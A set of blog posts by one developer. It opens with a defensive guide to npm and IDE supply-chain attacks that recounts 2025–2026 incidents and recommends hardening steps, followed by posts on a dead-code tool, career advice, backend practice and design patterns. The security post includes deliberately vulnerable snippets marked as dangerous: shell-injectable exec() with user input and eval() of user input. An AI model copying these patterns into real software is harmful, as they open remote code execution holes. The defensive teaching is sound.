Before we get into defences, it's worth understanding exactly what we're up against right now.

September 2025: The Shai-Hulud Worm

In September 2025, attackers launched a coordinated phishing campaign targeting npm maintainer accounts, ultimately compromising over 180 packages including well-trusted names like chalk and debug, which collectively have over a billion weekly downloads. The payload included a self-replicating worm called Shai-Hulud, which didn't just steal credentials it used them to infect further packages, creating a cascading compromise unlike anything the ecosystem had seen before. The attack also silently diverted cryptocurrency transactions in affected applications.

August 2025: The `nx` Package & AWS Account Takeover

Threat actor UNC6426 exploited a vulnerable pull_request_target workflow in the popular nx build tooling package a Pwn Request attack to steal a GITHUB_TOKEN and push trojanized versions containing a postinstall credential-stealer named QUIETVAULT. One downstream victim went from a compromised npm install to full AWS admin access and data destruction in their S3 buckets within 72 hours.

March 2026: The Axios Compromise

Axios — with over 100 million weekly downloads and present as a transitive dependency in thousands of projects was hijacked via maintainer credential theft by a North Korean threat actor. A hidden dependency silently installed a remote access trojan across developer machines and CI/CD pipelines. Teams that had pinned Axios to a specific version in their lockfiles were protected. The ones relying on range operators weren't.

May 2026: The GitHub Breach, A New Attack Surface

This is the incident everyone is talking about right now, and it marks a significant escalation in the supply chain threat model: the attack moved from packages to developer tooling.

On May 18, 2026, a compromised version of the Nx Console VS Code extension (v18.95.0) was published to the Visual Studio Marketplace. The malicious version live for as little as 18 minutes was downloaded by thousands of developers with auto-update enabled. The payload was a multi-stage credential stealer that silently harvested GitHub tokens, npm publish tokens, AWS credentials, and AI coding assistant keys from any workspace the developer opened.

One of those developers worked at GitHub.

On May 20, 2026, GitHub confirmed that approximately 3,800 internal repositories were exfiltrated. The threat group TeamPCP (tracked by Google as UNC6780) claimed responsibility, listing the stolen repositories on underground forums with an asking price above $50,000. GitHub has stated there is no evidence of impact to customer repositories, but the investigation is ongoing.

The attack chain is worth internalising: a stolen contributor GitHub token → a malicious orphan commit pushed to the Nx Console repo → a poisoned extension published to the official marketplace → a developer installs it with auto-update → credentials harvested silently → GitHub breached.

The extension was live for 18 minutes. That was enough.

TeamPCP is the same group behind the September 2025 Shai-Hulud worm and the March 2026 Trivy compromise. On May 11, 2026, they launched a coordinated campaign across npm and PyPI simultaneously the first attack to span both registries in a single operation compromising TanStack's GitHub Actions pipeline and publishing 84 malicious packages within six minutes. On May 12, they open-sourced Shai-Hulud's code on GitHub, spawning copycat activity that is actively ongoing.

This is an organised, persistent, and increasingly sophisticated adversary.

What We're Defending Against

Supply chain attacks — a dependency you trust is compromised upstream
Typosquatting — someone publishes lodahs or axois hoping you mistype
Malicious install scripts — a postinstall hook that exfiltrates your env vars or drops a shell (the primary vector in the nx compromise)
Dependency confusion attacks — a public package matching the name of your private internal one
Developer tooling attacks — malicious IDE extensions, compromised CI/CD actions (the GitHub breach vector)
Remote Code Execution (RCE) — your own code accepts untrusted input and hands it to eval() or child_process

1. Lock Files Are Not Optional

The most basic supply chain protection is also the most ignored.

# Always commit this — never .gitignore it
package-lock.json   # npm
yarn.lock           # yarn
pnpm-lock.yaml      # pnpm

A lock file pins the exact resolved version and integrity hash of every package in your tree. Without it, two developers running npm install on the same package.json can get different packages — and an attacker who compromises a patch version between those installs wins silently.

The Axios and Shai-Hulud attacks hit hardest in teams that weren't using lockfiles. Teams that had pinned versions had a window of protection measured in days; teams relying on semver ranges had a window of exposure measured in hours.

In your CI/CD pipeline, replace npm install with npm ci:

# npm install — resolves versions, can drift
npm install

# npm ci — installs exactly what's in the lockfile, fails if it drifts
npm ci

npm ci also deletes node_modules first, ensuring a clean, reproducible install every time.

2. Pin Your Dependency Versions

The ^ and ~ range operators in package.json are convenient in development — and dangerous in production.

// ❌ Accepts any compatible minor/patch update could auto-install a compromised version
"dependencies": {
  "express": "^4.0.0",
  "axios": "~1.6.0"
}

// ✅ Exact pins - you control every update explicitly
"dependencies": {
  "express": "4.18.2",
  "axios": "1.6.8"
}

If you're worried about missing security patches, that's what automated PRs (Renovate, Dependabot) are fo, you review the diff and merge deliberately.

3. The 30-Day Update Delay Strategy

One of the most underrated defences: don't install packages the moment they're published.

Most malicious versions get discovered by the community within days. The Axios March 2026 compromise was identified within hours. Shai-Hulud's initial wave was flagged within 48 hours. If you hold back updates by 30 days, you benefit from that collective scrutiny before the code ever runs in your environment.

With Renovate Bot, configure a minimum release age in your renovate.json:

{
  "packageRules": [
    {
      "matchDepTypes": ["dependencies"],
      "minimumReleaseAge": "30 days",
      "automerge": false
    },
    {
      "matchDepTypes": ["devDependencies"],
      "minimumReleaseAge": "7 days"
    }
  ]
}

Note: Since July 2025, Dependabot natively supports minimum package age configuration as well you no longer need Renovate exclusively for this.

You can also document this as a team policy in your package.json:

{
  "config": {
    "update-policy": "production deps held 30 days after release before adoption"
  }
}

4. Disable Automatic Install Scripts

This is a quick win that blocks an entire class of attacks. The nx package compromise worked precisely through a malicious postinstall script code that runs automatically when anyone on your team does npm install, exfiltrating environment variables and tokens before the developer ever sees a prompt.

Add this to your project's .npmrc:

ignore-scripts=true

This tells npm to skip all lifecycle scripts during install. The tradeoff is that some legitimate packages (like husky, node-sass, or native bindings) need scripts to work. For those, you whitelist explicitly:

# Run scripts only for packages you've reviewed and trust
npm install --ignore-scripts
npx husky install  # run manually after

5. Audit Your Dependencies Continuously

npm audit is built in and free. Make it part of your workflow:

# Run locally
npm audit

# Fail CI on high or critical vulnerabilities
npm audit --audit-level=high

Add it as a pre-push hook with Husky:

npx husky add .husky/pre-push "npm audit --audit-level=high"

For deeper intelligence, Socket.dev is the tool most teams sleep on. It doesn't just check CVEs, it detects:

New install scripts that didn't exist in previous versions
Packages that suddenly start making network calls
Maintainer account changes and suspicious publish patterns
Typosquatting candidates

Their GitHub App drops a comment on every PR that introduces a new dependency. Free for open source, extremely effective and exactly the kind of behavioural signal that would have flagged the Shai-Hulud packages before they ran.

6. Extend Your Supply Chain Thinking to IDE Extensions

The GitHub breach has made this a first-class concern. Developer workstations are now a primary attack surface, not a trusted zone.

The Nx Console compromise was live for 18 minutes on the official marketplace before being pulled. Auto-update delivered it silently. There was no warning, no prompt it just ran.

Practical steps your team should take now:

Disable extension auto-updates in VS Code settings. Go to Settings → Extensions → Auto Update and turn it off, or set it to onlyEnabledExtensions.
Pin extension versions in your devcontainer.json so updates require a reviewed commit:

  {
    "customizations": {
      "vscode": {
        "extensions": [
          "nrwl.angular-console@18.94.0"
        ]
      }
    }
  }

Enforce an enterprise allowlist via VS Code's extensions.allowed setting in your organisation's policy, blocking anything not pre-approved.
Apply the same 30-day hold logic to extensions that you apply to npm packages — don't rush to grab major version bumps.

These controls wouldn't just have protected against the GitHub breach. They are the standard that should have existed already.

7. Use Dev Containers to Isolate Your Development Environment

Even if an extension, package, or script is malicious, the question is: what can it actually reach? On a developer's bare host machine, the answer is everything i.e SSH keys, cloud credentials, git tokens, .env files, browser sessions, and more. That's exactly what the Nx Console payload harvested.

Dev containers change that calculus. By running your entire development environment inside a Docker container, you create a hard boundary between your code and your host machine. The malicious code can only see what you've explicitly mounted into the container.

The Core Idea

A .devcontainer/devcontainer.json at the root of your project defines a reproducible, isolated development environment that VS Code (and GitHub Codespaces) can launch automatically:

{
  "name": "my-app-dev",
  "image": "mcr.microsoft.com/devcontainers/node:20-alpine",
  "workspaceMount": "source=${localWorkspaceFolder},target=/workspace,type=bind",
  "workspaceFolder": "/workspace",

  "customizations": {
    "vscode": {
      "extensions": [
        "nrwl.angular-console@18.94.0",
        "dbaeumer.vscode-eslint@2.4.4"
      ],
      "settings": {
        "extensions.autoUpdate": false,
        "extensions.autoCheckUpdates": false
      }
    }
  },

  "mounts": [
    // ✅ Only mount what the project needs nothing else
    "source=${localWorkspaceFolder},target=/workspace,type=bind,consistency=cached"
    // ❌ Never do this, exposes your entire home directory
    // "source=${env:HOME},target=/root,type=bind"
  ],

  "remoteEnv": {
    // Inject only the secrets this project actually needs
    "GITHUB_TOKEN": "${localEnv:GITHUB_TOKEN_MY_APP}"
  },

  "postCreateCommand": "npm ci --ignore-scripts"
}

What This Protects Against

When a malicious postinstall script or extension runs inside a dev container, its blast radius is dramatically contained:

Attack vector	Bare host	Dev container
Read `~/.ssh/` keys	✅ Full access	❌ Not mounted
Read `~/.aws/credentials`	✅ Full access	❌ Not mounted
Exfiltrate other project dirs	✅ Full access	❌ Not mounted
Access host network services	✅ Unrestricted	⚠️ Configurable
Persist after container is destroyed	✅ Writes to host	❌ Container is ephemeral

The Nx Console payload specifically harvested GitHub tokens, AWS credentials, and AI coding assistant keys all of which live in the developer's home directory. A correctly configured dev container would have mounted only the project folder, leaving the rest of the host invisible.

Locking Down the Container Further

Combine dev containers with tighter Docker constraints to shrink the surface even further:

{
  "runArgs": [
    "--cap-drop=ALL",
    "--security-opt=no-new-privileges:true",
    "--read-only",
    "--tmpfs=/tmp"
  ],
  "containerUser": "node"
}

These flags drop all Linux capabilities, prevent privilege escalation, make the container filesystem read-only (with a writable /tmp tmpfs), and ensure the process runs as a non-root user even inside the container.

Team Adoption

The real value of dev containers is consistency: every developer on your team runs the same environment, with the same extension versions, the same Node version, and the same npm ci --ignore-scripts on creation. There's no "it works on my machine" gap where one developer's node_modules drifted because they ran npm install without the lockfile.

# Anyone cloning the repo gets the same environment
git clone git@github.com:your-org/your-app.git
code .  # VS Code prompts: "Reopen in Container"

Pair this with GitHub Codespaces for teams that want the development environment entirely off their local machine, the host attack surface reduces to essentially a browser.

8. Verify Package Signatures

Since npm 9+, you can verify that a package was published by who it claims:

# Verify signatures of all installed packages
npm audit signatures

When publishing your own packages, add provenance:

npm publish --provenance

Provenance links the published package to the specific CI run that built it, creating a verifiable, tamper-evident chain from source code to published artifact. Notably, one of the recent Mini Shai-Hulud waves in May 2026 managed to publish packages with valid SLSA provenance attestations, meaning signature checks alone are no longer sufficient, and behavioural analysis tools like Socket.dev remain essential.

9. Prevent RCE in Your Own Code

Supply chain attacks get you through your dependencies. RCE vulnerabilities get attackers in through your own code. The two most common patterns to eliminate:

Never pass user input to `exec()`

import { exec, execFile } from 'child_process';

// ❌ DANGEROUS — shell injection
exec(`ffmpeg -i ${userProvidedFilename} output.mp4`);

// ✅ SAFE — argument array, no shell interpretation
execFile('ffmpeg', ['-i', userProvidedFilename, 'output.mp4']);

Never eval user input

// ❌ Any of these with user-controlled input = instant RCE
eval(userInput);
new Function(userInput)();
vm.runInNewContext(userInput);

// ✅ Use a strict sandbox or purpose-built expression evaluator
// like expr-eval or math.js

Lock down V8 string evaluation at the process level

node --disallow-code-generation-from-strings server.js

10. Use Node.js Permission Model (v20+)

Node.js 20 introduced a built-in permission model that lets you sandbox exactly what your process is allowed to do at the OS level:

node --experimental-permission \
     --allow-fs-read=./src \
     --allow-fs-write=./tmp \
     --allow-net=api.stripe.com,api.yourservice.com \
     server.js

Any attempt to read outside ./src, write outside ./tmp, or phone home to an unexpected domain will throw a permission error even from inside a compromised package.

BONUS

11. Harden Your Docker Container

Even if a package is compromised and achieves code execution, a properly locked-down container limits the blast radius dramatically.

FROM node:20-alpine

# Create a non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app
COPY package*.json ./

# Use npm ci for clean install, skip scripts
RUN npm ci --ignore-scripts --omit=dev

COPY . .
RUN chown -R appuser:appgroup /app

# Switch to non-root
USER appuser

CMD ["node", "server.js"]

And in your docker run or docker-compose.yml:

security_opt:
  - no-new-privileges:true
cap_drop:
  - ALL
cap_add:
  - NET_BIND_SERVICE
read_only: true

An attacker who achieves RCE inside this container has no root, no shell escalation path, no write access to the filesystem, and severely limited syscalls.

12. Pin Your GitHub Actions to Commit SHAs

Your CI/CD pipeline is part of your supply chain and it was the entry point in the TanStack compromise of May 2026. GitHub Actions tags (@v3, @v4) are mutable, a compromised maintainer can push new code under an existing tag.

# ❌ Tag can be silently overwritten
- uses: actions/checkout@v4

# ✅ Commit SHA is immutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Use a tool like pin-github-action to automate this across your workflow files.

Quick Reference: Tools by Category

Category	Tool	What It Does
Vulnerability scanning	`npm audit`	CVE checks against npm advisory DB
Behavioural analysis	Socket.dev	Detects malicious package behaviour
Automated PRs	Renovate / Dependabot	Keeps deps updated with review gates
CVE monitoring	Snyk / OSV-Scanner	Continuous monitoring, PR alerts
Unused deps	`depcheck`	Find deps you can remove
Secret scanning	`truffleHog` / `git-secrets`	Catch credentials before they're pushed
Signature verification	`npm audit signatures`	Verify package provenance
Extension security	Aikido Device Protection	On-device scans of IDE extensions and MCP tools
Dev environment isolation	Dev Containers / Codespaces	Sandbox development away from host credentials

The Quick Win Checklist

If your team can ship only seven things this sprint, make them these:

[ ] Replace npm install with npm ci in all CI pipelines
[ ] Add ignore-scripts=true to .npmrc
[ ] Install the Socket.dev GitHub App on your repos
[ ] Configure Renovate (or Dependabot) with minimumReleaseAge: "30 days" for production deps
[ ] Add npm audit --audit-level=high to your pre-push hook
[ ] Disable VS Code extension auto-updates and pin versions in devcontainer.json
[ ] Add a .devcontainer/devcontainer.json that mounts only the project folder not your home directory

The last two items were optional advice last year. After the GitHub breach, they're table stakes.

Closing Thoughts

Supply chain security isn't a one-time fix, it's a set of habits. And in 2026, those habits need to extend beyond your package.json and into your IDE, your CI pipelines, and your developer endpoints.

The GitHub breach is a landmark incident not because GitHub was breached though that is significant on its own but because of what it demonstrates: the attack surface is your developer environment itself. An extension that was malicious for 18 minutes was enough to exfiltrate nearly 4,000 repositories from one of the most security-conscious engineering organisations on the planet.

The teams that weather these attacks are the ones that treat their entire toolchain dependencies, CI actions, IDE extensions, and the developer environment itself with the same scrutiny they apply to their own code: reviewed, versioned, audited, and never blindly trusted.

Start with the quick wins. Then build toward full provenance attestation, container hardening, dev container isolation, and endpoint protection for developer machines. Each layer compounds.

Found this useful? Drop a comment with what your team currently does for supply chain hygiene always curious to see what's working out in the wild.

Your TypeScript Codebase Is Lying to You. Fallow Will Tell You the Truth.

Olawale Afuye — Mon, 04 May 2026 23:13:37 +0000

You think your codebase is clean.

You're wrong.

Somewhere in that repo right now, there are files nobody imports. Functions nobody calls. CSS classes nobody renders. Logic that was copy-pasted three times across different modules because someone was in a hurry and nobody ever went back.

Nobody went back.

And you've been shipping on top of that mess, quietly, every sprint.

I'm not here to judge. I've seen it at every scale — scrappy startups, enterprise platforms, well-funded teams with senior engineers. The mess is universal. What isn't universal is the tool that actually shows it to you.

That tool is Fallow.

What Fallow Actually Is

Fallow is a static + runtime code intelligence CLI for TypeScript and JavaScript projects.

One command. Three reports. No excuses left.

npx fallow

That's it. No config file needed to start. No ceremony.

It gives you:

Dead Code — unused files, exports, dependencies, circular imports
Duplication — code clones, copy-paste instances, semantic repeats
Health — cyclomatic complexity, cognitive complexity, test coverage risk

Think of it as a colonoscopy for your codebase. Uncomfortable to look at. Absolutely necessary.

Why Your Current Setup Is Not Enough

ESLint is not doing this job. TypeScript is not doing this job.

ESLint catches style violations and obvious anti-patterns. It does not tell you that src/utils/formatDate.ts hasn't been imported by anything in eight months.

TypeScript's compiler will let you export a function to the void forever, completely unbothered.

These tools are not designed to answer the question: "Is this code actually alive?"

Fallow is designed for exactly that.

The Three Reports, Explained Simply

#1. Dead Code Analysis

Dead code is not just unused variables. Fallow goes deeper.

It traces your entry points — what your app actually boots from — and maps every import chain outward. Anything not reachable from that graph is dead.

This includes:

Unused files (the whole file. Gone. Pointless.)
Unused exports (the function exists. Nobody calls it.)
Unused dependencies (you installed it. You're not using it.)
Circular imports (A imports B imports A. A disaster waiting to become a bug.)

The goal here is zero. Not "few." Zero.

If something is genuinely a public API that external consumers use, you annotate it:

/** @public */
export function myPublicUtil() { ... }

Everything else that Fallow flags? Remove it or explain yourself.

#2. Duplication Analysis

Here's the threshold that matters:

< 5% duplication — Low. You're doing well.
5–15% — Moderate. Review it.
> 15% — High. You have a copy-paste culture problem, not a code problem.

Fallow finds Type-1 clones (exact copies) and Type-2 clones (same logic, renamed variables). The semantic mode catches the sneaky ones — the ones where someone changed user to customer and called it "abstraction."

When you find a clone group with 3+ instances, that's not duplication anymore. That's a bug factory. Every time the logic needs to change, someone will update two of the three copies and miss the third.

Extract it. Make it a shared utility. Move on.

#3. Health Analysis

This is where Fallow earns its keep for senior engineers.

Three metrics to know:

Cyclomatic Complexity — the number of independent paths through a function. If it's above 20, your function is doing too much. Above 50? That function should be arrested.

Cognitive Complexity — how hard the function is to read, not just test. Target: ≤15. This is the one that catches deeply nested ifs-inside-loops-inside-ternaries.

CRAP Score (Change Risk Anti-Patterns) — combines complexity with test coverage. A CRAP score above 30 means you have complex, untested code. Above 100? That module is a liability.

The fix is either: write tests, or simplify the function. Usually both.

How to Actually Start (Don't Skip This Part)

Most developers install a tool, run it once, see 400 errors, close the terminal, and never open it again.

Don't do that.

Here's the sequence that works:

Step 1: Get the full picture

npx fallow

Do not panic at the output. You're not fixing everything today. You're learning the shape of the problem.

Step 2: Initialize your config

npx fallow init

This creates a .fallow/config.json where you declare your entry points, ignored patterns, and thresholds. Without this, Fallow doesn't know that src/index.ts is where your app starts — and it'll flag things that aren't actually dead.

Set your entry points honestly. Don't cheat by marking everything as an entry point to make the numbers look good.

Step 3: Triage by category

npx fallow dead-code --unused-files   # Low-hanging fruit. Delete them.
npx fallow dead-code --unused-deps    # Package.json bloat. Remove them.
npx fallow dead-code --unused-exports # The sneaky ones. Investigate first.
npx fallow dupes                       # Find the clone groups.
npx fallow health                      # Find the complexity hotspots.

Don't try to fix everything at once. Pick the highest-severity items — unused files and high-instance clones — and batch them into a cleanup PR.

Step 4: Preview before you delete

npx fallow fix --dry-run

Fallow can auto-remove dead exports and unused dependencies. Always run --dry-run first. Review what it plans to touch. Then apply it.

Step 5: Lock it into CI

Once the repo is clean, keep it clean.

npx fallow audit

audit runs only on changed files — perfect for PR checks. Add it to your GitHub Actions pipeline with --fail-on-issues and you've made "don't introduce new dead code" a team policy, not a gentleman's agreement.

For CSS/SCSS People: Yes, Fallow Covers That Too

If you're using CSS Modules, Fallow treats every class in your .module.css file as an exported symbol.

If that class isn't referenced anywhere in your component code, it shows up as an unused export.

/* button.module.css */
.primaryBtn { ... }   /* ✅ Used */
.legacyBtn { ... }    /* ❌ Unused — Fallow flags this */

It also resolves @use and @forward chains in SCSS, tracks Tailwind's @import, and handles partials. This is not an afterthought. The CSS analysis is first-class.

The Metrics Cheat Sheet

Keep this somewhere visible.

Metric	Target	Warning	Action Needed
Duplication %	< 5%	5–15%	> 15%
Cyclomatic Complexity	≤ 20	21–50	> 50
Cognitive Complexity	≤ 15	16–30	> 30
CRAP Score	< 30	30–99	≥ 100
Complexity Density	< 0.3	0.3–0.5	> 0.5

The health badge gives you an A–F grade for the whole project. A = 85+. F = you have a conversation to have with your team.

The Honest Part

Fallow will not fix your codebase.

You will.

What Fallow does is remove the excuse of not knowing. Before this, you could say "we don't know where the dead code is." That excuse is gone now. Before this, you could say "we can't measure duplication." Gone.

The tool is free to start. The refactoring takes discipline.

But the teams that do this — that actually clean the backlog, set thresholds, and gate new code in CI — those teams ship faster. Not because they have fewer lines of code, but because the lines they have are lines they understand.

That's the whole point.

What to Do Right Now

Not "this sprint." Right now.

npx fallow

Look at the output. Pick the most embarrassing finding — the one you already suspected existed but never wanted to confirm. Fix that one thing.

Then run it again.

Have you run Fallow on your project yet? Drop your findings in the comments — the duplication % especially. No judgment. Only solidarity.

Tags: typescript javascript webdev tooling

Advice to Junior–Mid Level Engineers: Reality of the Job Market Today

Olawale Afuye — Tue, 06 Jan 2026 20:07:45 +0000

1. The Market Has Changed — Adjust Your Expectations

The job market you are entering is not the same one that existed 5–7 years ago.

Building a basic application is no longer impressive.
“I built X” matters less than:
- How it works
- Why it works
- How it fails
Companies are hiring fewer people and expecting broader impact from each hire.

This is not unfair. It is a rational response to:

Cost pressure
More mature tooling
Faster delivery expectations

2. The Definition of “Junior” Has Shifted

What used to be considered mid-level is now expected from many junior engineers.

Common expectations include:

Comfort working across frontend and backend
Ability to read and understand unfamiliar codebases
Debugging production issues, not just local bugs
Basic understanding of deployment and environments
Shipping features end-to-end with minimal supervision

If your experience is limited to tutorials or copying patterns without understanding them, you will struggle.

3. AI Tools Did Not Remove Jobs — They Removed Shallow Roles

The job market did not disappear.

Low-leverage roles did.

Employers now avoid hiring engineers who:

Can only write code when guided step-by-step
Cannot explain design decisions or tradeoffs
Cannot debug issues introduced by generated code
Break down when requirements are unclear or incomplete

Engineers who understand systems, failures, and constraints remain in demand.

4. Projects Still Matter — But Only If They Show Depth

Having many projects is not the goal.

Having one or two serious projects is.

A strong project demonstrates:

Clear design decisions and tradeoffs
Proper handling of edge cases
Thoughtful error handling and observability
Performance and scalability considerations
What broke and how you fixed it

If your project never failed, it is probably not deep enough.

5. Full-Stack Expectations Are Now the Norm

Many companies cannot afford large, specialized teams.

As a result, they prefer engineers who can:

Work across frontend, backend, and basic infrastructure
Understand APIs, data models, and UI constraints
Communicate effectively with product and non-technical stakeholders

You do not need to be an expert in everything.

You do need to avoid being blocked by any single layer.

6. Speed Alone Is Not the Advantage

Fast output is easy today.

Correct output is not.

What employers value:

Finishing work without creating long-term problems
Identifying risks early
Knowing when not to ship
Writing code others can understand and maintain

Speed without judgment is a liability.

7. Employability Now Depends on Ownership

To remain employable, you must:

Take responsibility beyond assigned tickets
Understand the business impact of your work
Support what you build after release
Learn continuously without waiting for permission

The most secure engineers are not the smartest.

They are the most reliable.

Final Reality Check

This market rewards:

Engineers who think in systems
Engineers who adapt quickly
Engineers who finish work properly

It penalizes:

Surface-level knowledge
Overreliance on tools
Inability to operate without hand-holding

This is not a bad time to be an engineer.

It is a bad time to be an unprepared one.

Thriving in the Age of AI: A Senior Software Engineer's Guide to Future-Proofing Your Career

Olawale Afuye — Fri, 13 Sep 2024 12:20:37 +0000

As AI and automation grow senior software engineers face changing job responsibilities. Here are some tactics to help you advance in your career and ensure success over time:

1. Welcome AI and Machine Learning (ML) Tools

Study AI Frameworks and Tools: Get to know common AI/ML frameworks such as TensorFlow, PyTorch, or scikit-learn. Knowing how these tools work and how to integrate them into current systems can boost your value.

Apply AI to Improve Development: Use AI tools to complete code, find bugs, and run tests. Tools like GitHub Copilot, V0 by vercel, chatgpt, claude ai or DeepCode can help you write cleaner more effective code in less time.

2. Emphasize System Design and Architecture

Enhance Your System Design Skills: AI tools can't yet create complex systems from the ground up. Boost your know-how in crafting scalable, tough, and productive software structures.

Get Good at Cloud and Distributed Systems: As more setups shift to the cloud, being an expert in cloud setup, microservices, and spread-out systems will keep being sought after.

3. Grow Cross-Functional Abilities

Turn into a Full-Stack Developer: If you haven't yet, broaden your skills to cover both frontend and backend development. This makes you more flexible and able to handle different project needs.

Get to know DevOps and CI/CD: Learn about DevOps practices, including Continuous Integration/Continuous Deployment (CI/CD) pipelines, containerization (Docker, Kubernetes), and Infrastructure as Code (IaC).

4. Focus on Areas Where AI Lacks

Put Human-Centered Skills First: Skills such as empathy, creativity, and leadership are hard to copy for AI. Look into jobs that involve managing stakeholders leading teams, and talking with clients.

Build Up People Skills: Good communication, bargaining, and big-picture thinking are key areas where we'll always need human know-how.

5. Become an Expert in Special Tech Fields

Get Really Good at New Tech: Zero in on special areas like quantum computing, blockchain, edge computing, or cybersecurity where AI is still growing and we need human experts.

Know Your Field Inside Out: Become a pro in one industry (like healthcare or finance) where your tech skills plus industry knowledge can offer something unique.

6. Contribute to Open Source and Communities

Get Involved with Developer Groups: Take part in open-source projects, help out in communities, and be active on developer forums. This helps you build connections and boost your standing in the tech world.

Keep Up with Tech Changes: Often check tech news, go to conferences, watch webinars, and join workshops to learn about the newest industry shifts and technologies.

7. Pursue Leadership Roles

Transition to Tech Leadership: Think about roles such as Engineering Manager, Tech Lead, or CTO. These positions need you to make strategic decisions and manage people.

Mentor and Coach: Pass on your knowledge and experience. You can do this by guiding juniors or running workshops inside your company. This will cement your place as a must-have team member.

8. Use AI to Automate Everyday Tasks

Automate Repeated Work: Put AI tools to work on regular tasks like keeping an eye on systems, running tests, and looking at data. This gives you time to tackle work that matters.

Create Tools and In-house Utilities: Make tools that automate tasks and utilities to boost how much your team or company gets done. This shows how valuable you are.

9. Keep an Open Mind and Roll with the Changes

Never Stop Learning and Adjusting: Make learning a lifelong habit and be ready to switch to new tech or jobs as the field keeps changing.

Try Out AI Projects: Begin with small AI tasks to get a better grasp of what it can and can't do, and to discover how AI might boost your current abilities.

10. Become the AI Champion in Your Workplace

Lead AI Integration Efforts: Become the go-to person in your company who gets both software engineering and AI connecting data science and software development teams.

Identify AI Opportunities: spot areas in your organization where AI can boost value, through making processes better, predicting trends, or providing automated help.

Final Thoughts

The main idea is to see AI as a tool that boosts your skills rather than a danger. By mixing deep technical know-how with big-picture thinking, industry knowledge, and people skills, you can make yourself a must-have asset to your company.

Key Concepts Every Backend Engineer Should Master.

Olawale Afuye — Mon, 31 Jul 2023 12:42:26 +0000

I compliled a long list of essential and practical considerations when developing the backend of an application. Let's summarize and expand on each point.

Paginate long list of data: When dealing with large datasets, it's essential to implement pagination to split the data into smaller chunks. This allows for more efficient data retrieval and reduces the load on the server and client.

Validate data coming in: Data validation is crucial to ensure that the incoming data is in the correct format and meets the necessary constraints. This helps prevent errors and security vulnerabilities caused by malformed or malicious data.

Use ORM over raw query where possible: Object-Relational Mapping (ORM) tools provide a more abstract and intuitive way to interact with the database, making it easier to write and maintain database queries. ORM helps avoid potential SQL injection vulnerabilities and enhances code readability.

Always return a clear message and status code to the frontend: When responding to client requests, the backend should provide clear and informative messages along with appropriate HTTP status codes. This helps frontend developers and users understand the outcome of their requests.

Remove unnecessary data from response payload: Minimizing the amount of data sent in the response can improve the application's performance and reduce network overhead. Only include the essential data needed by the frontend.

Keep things simple at first, don't over-engineer things: Start with a simple and straightforward design for the backend. Avoid adding unnecessary complexity that might hinder development and maintenance.

Don't optimize too early: While performance is essential, premature optimization can lead to overcomplicated code. Focus on building a functional and secure system first, and then optimize performance based on real-world usage and profiling data.

Think security first: Security should be a top priority in any application. Implement best practices like hashing passwords, input validation, and avoiding SQL or NoSQL injections to protect the system from potential attacks.

Avoid storing secrets in JWT: JSON Web Tokens (JWT) are commonly used for authentication, but sensitive data like passwords or cryptographic keys should not be stored in them. Instead, use JWT to hold lightweight and non-sensitive information.

Cache frequently accessed data: Caching can significantly improve the application's performance by storing frequently accessed data in memory. This reduces the need to fetch the same data repeatedly from the database.

Understand the problem and the domain: To build an effective backend, it's essential to have a good understanding of the problem domain. Properly model the data and design the system to meet the specific requirements of the application.

Authentication and authorization: The backend should handle user authentication to verify the identity of clients and then authorize access to specific resources based on user roles and permissions.

Database communication: The backend is responsible for interacting with the database, including reading, writing, updating, and deleting data. It should execute queries efficiently and handle database errors.

Error handling: The backend should handle errors gracefully and provide meaningful error messages to clients to aid in debugging and troubleshooting.

Logging and monitoring: The backend should log important events and errors to facilitate debugging and provide insights into the system's health and performance.

Request/response compression: Implementing compression techniques like Gzip or Brotli can reduce the size of data transferred between the backend and the client, resulting in faster communication.

Cross-Origin Resource Sharing (CORS): If the backend provides APIs that are consumed by different domains, it should properly handle CORS to control access from different origins and prevent unauthorized cross-origin requests.

Integration with external services: Many applications rely on external services like payment gateways, email services, or third-party APIs. The backend should be able to integrate with these services securely.

Unit testing and validation: To ensure the reliability and correctness of the backend code, it should be thoroughly tested with unit tests and validated against various use cases.

Share your thought in case I miss any. I am willing to learn.

Inversion of Control Made Simple: Elevate Your Understanding

Olawale Afuye — Sat, 29 Jul 2023 22:40:52 +0000

Inversion of control is a big and complicated concept that even some Senior developers struggle to fully understand. But I'll do my best to explain it in the best possible way for you to understand, teach and see its application.

When all have a home of our own. We need water and power. We have two options we create power ourselves and make a borehole or we outsource to another body only responsibility is that and does it well.

In the case of power we rely on Power Holding company of Nigeria and for water we rely on Nigeria water cooperation to provide that for us.

In the example, the control of providing power and water is moved to third-party organizations, which are responsible for generating power and providing water. This allows the homeowners to focus on their own needs without worrying about the technical details of how power or water is generated or distributed

That's kind of inversion of control. You're the one who wants something, but you're not the one doing all the work to get it. You're relying on someone or an organization else to help you out.

In software development, inversion of control (IoC) is a design pattern that allows different parts of a program to work together in a more flexible and maintainable way. It's a way of designing software so that instead of one part of the program being responsible for everything, different parts can work together in a more decentralized way.

IoC works by inverting the usual control flow between different parts of a program. In a traditional program, each part of the program is responsible for calling other parts of the program when it needs them. This can lead to tight coupling between different parts of the program, which can make it hard to change or replace parts of the program without affecting other parts.

With IoC, the control flow is inverted so that the parts of the program that are responsible for providing services or resources (known as "providers") are called by the parts of the program that need those services or resources (known as "consumers"). This means that the providers don't need to know about the consumers, which makes the program more modular and easier to change or replace.

In computer programming, inversion of control is a way of designing programs so that different parts of the program can work together without any one part having to do everything by itself. Instead of one part of the program doing everything, it asks other parts of the program to help out.

So just like how you rely on mommy or daddy to help you get what you want sometimes, different parts of a program rely on each other to get things done. And that's inversion of control!

There are many different ways to implement IoC in software development, such as using dependency injection, service locators, or the observer pattern. The specific implementation depends on the programming language and framework being used.

Overall, inversion of control is a powerful design pattern that can help make software development more flexible, maintainable, and modular. By inverting the control flow between different parts of a program, IoC can help reduce tight coupling and make it easier to change or replace different parts of the program as needed.

Observer pattern in the context of a Game App

Olawale Afuye — Tue, 13 Jun 2023 21:55:04 +0000

The Observer pattern is a design pattern that allows objects to be notified of changes to the state of another object, called the "subject." In the context of a game app, this could be used to notify different game components (such as scoreboards, health bars, etc.) when the game's state changes (such as when the player collects a power-up or takes damage).

Here's an example TypeScript code snippet that illustrates the Observer pattern in a game app:

interface Subject {
  registerObserver(o: Observer): void;
  removeObserver(o: Observer): void;
  notifyObservers(): void;
}

interface Observer {
  update(score: number, health: number): void;
}

class Game implements Subject {
  private score: number = 0;
  private health: number = 100;
  private observers: Observer[] = [];

  public registerObserver(o: Observer): void {
    this.observers.push(o);
  }

